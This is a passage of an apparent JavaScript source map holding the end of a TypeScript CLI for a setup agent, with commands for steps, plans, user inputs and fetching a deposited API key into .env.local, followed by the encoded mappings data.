launchAgent(url);\n\n  const client = await connectCheckout(url).catch((error: unknown) =>\n    fail(error instanceof Error ? error.message : String(error)),\n  );\n  const commands = client.commands;\n\n  try {\n    switch (command) {\n      case \"intro\": {\n        const kind = detectAgentKind();\n        await commands[\"agent/intro\"]({\n          ...(kind !== undefined && { kind }),\n        }).catch(() => {});\n        process.stdout.write(INSTRUCTIONS(url));\n        process.stdout.write(\"\\nCurrent setup:\\n\");\n        print(summary(requireState(client)));\n        break;\n      }\n      case \"status\": {\n        print(summary(requireState(client)));\n        break;\n      }\n      case \"stream\": {\n        await stream(client);\n        break;\n      }\n      case \"step\": {\n        const usage =\n          \"usage: step <step-id> <pending|active|done|skipped|blocked>\";\n        const stepId = rest[0] ?? fail(usage);\n        const status = rest[1];\n        if (!STEP_STATUSES.includes(status as Checkout.StepStatus)) fail(usage);\n        const note = flagText(flags, \"note\");\n        await commands[\"agent/step\"]({\n          stepId,\n          status: status as Checkout.StepStatus,\n          ...(note !== undefined && { note }),\n        });\n        print({ ok: true, stepId, status });\n        break;\n      }\n      case \"add-step\": {\n        const title = rest[0] ?? fail(\"usage: add-step <title>\");\n        const detail = flagText(flags, \"detail\");\n        const product = flagText(flags, \"product\");\n        const result = await commands[\"agent/add-step\"]({\n          title,\n          ...(detail !== undefined && { detail }),\n          ...(product !== undefined && { product }),\n          ...(flags.has(\"active\") && { active: true }),\n        });\n        print({ ok: true, ...result });\n        break;\n      }\n      case \"plan\": {\n        const file = flagText(flags, \"file\");\n        const markdown =\n          file !== undefined\n            ? await readFile(resolve(file), \"utf8\").catch(() =>\n                fail(`could not read ${file}`),\n              )\n            : (rest[0] ?? fail(\"usage: plan <markdown> | plan --file <path>\"));\n        const { revision } = await commands[\"agent/plan\"]({ markdown });\n        if (!flags.has(\"wait\")) {\n          print({ ok: true, revision });\n          break;\n        }\n        const plan = await waitForPlan(client, revision);\n        print(decided(plan, requireState(client)));\n        break;\n      }\n      case \"ask\": {\n        const seed = askSeed(rest, flags);\n        const redeemKey =\n          seed.kind === \"model\" ? randomBytes(32).toString(\"hex\") : undefined;\n        const redeemKeyHash =\n          redeemKey === undefined\n            ? undefined\n            : createHash(\"sha256\").update(redeemKey).digest(\"hex\");\n        const keyFile =\n          redeemKey === undefined || redeemKeyHash === undefined\n            ? undefined\n            : await saveRedeemKey(redeemKeyHash, redeemKey).catch(\n                (error: unknown) =>\n                  fail(\n                    `could not store the model redeem key: ${error instanceof Error ? error.message : String(error)}`,\n                  ),\n              );\n        let inputId: string;\n        try {\n          ({ inputId } = await commands[\"agent/ask\"]({\n            ...seed,\n            ...(redeemKeyHash !== undefined && { redeemKeyHash }),\n          }));\n        } catch (error) {\n          if (keyFile !== undefined) await unlink(keyFile).catch(() => {});\n          throw error;\n        }\n        if (!flags.has(\"wait\")) {\n          print({ ok: true, inputId });\n          break;\n        }\n        print(await waitForInput(client, inputId).then(answered));\n        break;\n      }\n      case \"wait\": {\n        const target =\n          rest[0] ?? fail(\"usage: wait start | wait <input-id> | wait plan\");\n        const state = requireState(client);\n        if (target === \"start\") {\n          const status = await waitForStart(client);\n          print({\n            ok: status === \"planning\" || status === \"installing\",\n            status,\n          });\n          break;\n        }\n        if (target === \"plan\") {\n          const plan = currentPlan(state) ?? fail(\"no plan has been proposed\");\n          print(\n            decided(\n              await waitForPlan(client, plan.revision),\n              requireState(client),\n            ),\n          );\n          break;\n        }\n        if (!state.inputs.some((input) => input.id === target)) {\n          fail(`no input \"${target}\"`);\n        }\n        print(await waitForInput(client, target).then(answered));\n        break;\n      }\n      case \"env\": {\n        const usage = \"usage: env <input-id> <ENV_VAR> [--file <path>]\";\n        const inputId = rest[0] ?? fail(usage);\n        const envKey = rest[1] ?? fail(usage);\n        if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(envKey)) {\n          fail(`\"${envKey}\" is not an environment variable name`);\n        }\n        const state = requireState(client);\n        const input =\n          state.inputs.find((candidate) => candidate.id === inputId) ??\n          fail(`no input \"${inputId}\"`);\n        const setupId = state.id ?? fail(\"the setup has not been created yet\");\n        if (isClosed(state)) {\n          fail(\"the setup is not open\");\n        }\n        if (input.status !== \"answered\") {\n          fail(`input \"${inputId}\" is ${input.status}`);\n        }\n        if (\n          input.kind !== \"model\" ||\n          !isValidModelAnswer(input, input.answer ?? \"\")\n        ) {\n          fail(`input \"${inputId}\" is not an llm-provider answer`);\n        }\n        const storedKey =\n          input.redeemKeyHash === undefined\n            ? undefined\n            : await readRedeemKey(input.redeemKeyHash);\n        if (input.redeemKeyHash !== undefined && storedKey === undefined) {\n          fail(`no local redeem key for \"${inputId}\"`);\n        }\n        const file = resolve(flagText(flags, \"file\") ?? \".env.local\");\n        await writeEnvSecret(file, envKey, async () => {\n          const secretUrl = new URL(url);\n          if (\n            secretUrl.protocol !== \"https:\" &&\n            !(\n              secretUrl.protocol === \"http:\" &&\n              isLoopbackHostname(secretUrl.hostname)\n            )\n          ) {\n            fail(\"the key is only fetched over https\");\n          }\n          const response = await fetch(\n            `${url.replace(/\\/$/, \"\")}/secret/${encodeURIComponent(inputId)}?setup=${encodeURIComponent(setupId)}`,\n            storedKey === undefined\n              ? undefined\n              : { headers: { \"Setup-Agent-Redeem-Key\": storedKey.key } },\n          );\n          if (response.status === 403) {\n            fail(`redeem key rejected for \"${inputId}\"`);\n          }\n          if (response.status === 404) {\n            fail(\n              `the key for \"${inputId}\" was already taken or never deposited`,\n            );\n          }\n          if (!response.ok) fail(`could not fetch the key: ${response.status}`);\n          const key = await response.text();\n          // An API key is one word of letters, digits and a few separators;\n          // anything else could break out of the env line, be read differently\n          // by dotenv, or run as shell syntax when the file is sourced.\n          if (!/^[A-Za-z0-9._~+/=:@%,-]+$/.test(key)) {\n            fail(\"the deposited key is not a valid API key\");\n          }\n          return key;\n        });\n        if (storedKey !== undefined) {\n          await unlink(storedKey.file).catch((error: NodeJS.ErrnoException) => {\n            if (error.code !== \"ENOENT\") {\n              process.stderr.write(\n                `warning: could not remove a redeem key: ${error.message}\\n`,\n              );\n            }\n          });\n        }\n        print({ ok: true, envKey, file });\n        break;\n      }\n      case \"ack\": {\n        const messageId = rest[0] ?? fail(\"usage: ack <message-id>\");\n        await commands[\"agent/ack\"]({ messageId });\n        print({ ok: true });\n        break;\n      }\n      case \"log\": {\n        const text = rest[0] ?? fail(\"usage: log <text>\");\n        await commands[\"agent/log\"]({ text });\n        print({ ok: true });\n        break;\n      }\n      case \"done\": {\n        const summary = flagText(flags, \"summary\");\n        const preview = flagText(flags, \"preview\");\n        await commands[\"agent/done\"]({\n          ...(summary !== undefined && { summary }),\n          ...(preview !== undefined && { preview }),\n        });\n        print({\n          ok: true,\n          status: \"proposed\",\n          next: \"Keep the stream running and stay idle. The user closes the setup or sends a follow-up message.\",\n        });\n        break;\n      }\n      default:\n        fail(`unknown command \"${command}\"\\n\\n${HELP}`);\n    }\n  } catch (error) {\n    fail(error instanceof Error ? error.message : String(error));\n  } finally {\n    client.dispose();\n  }\n};\n"],"mappings":"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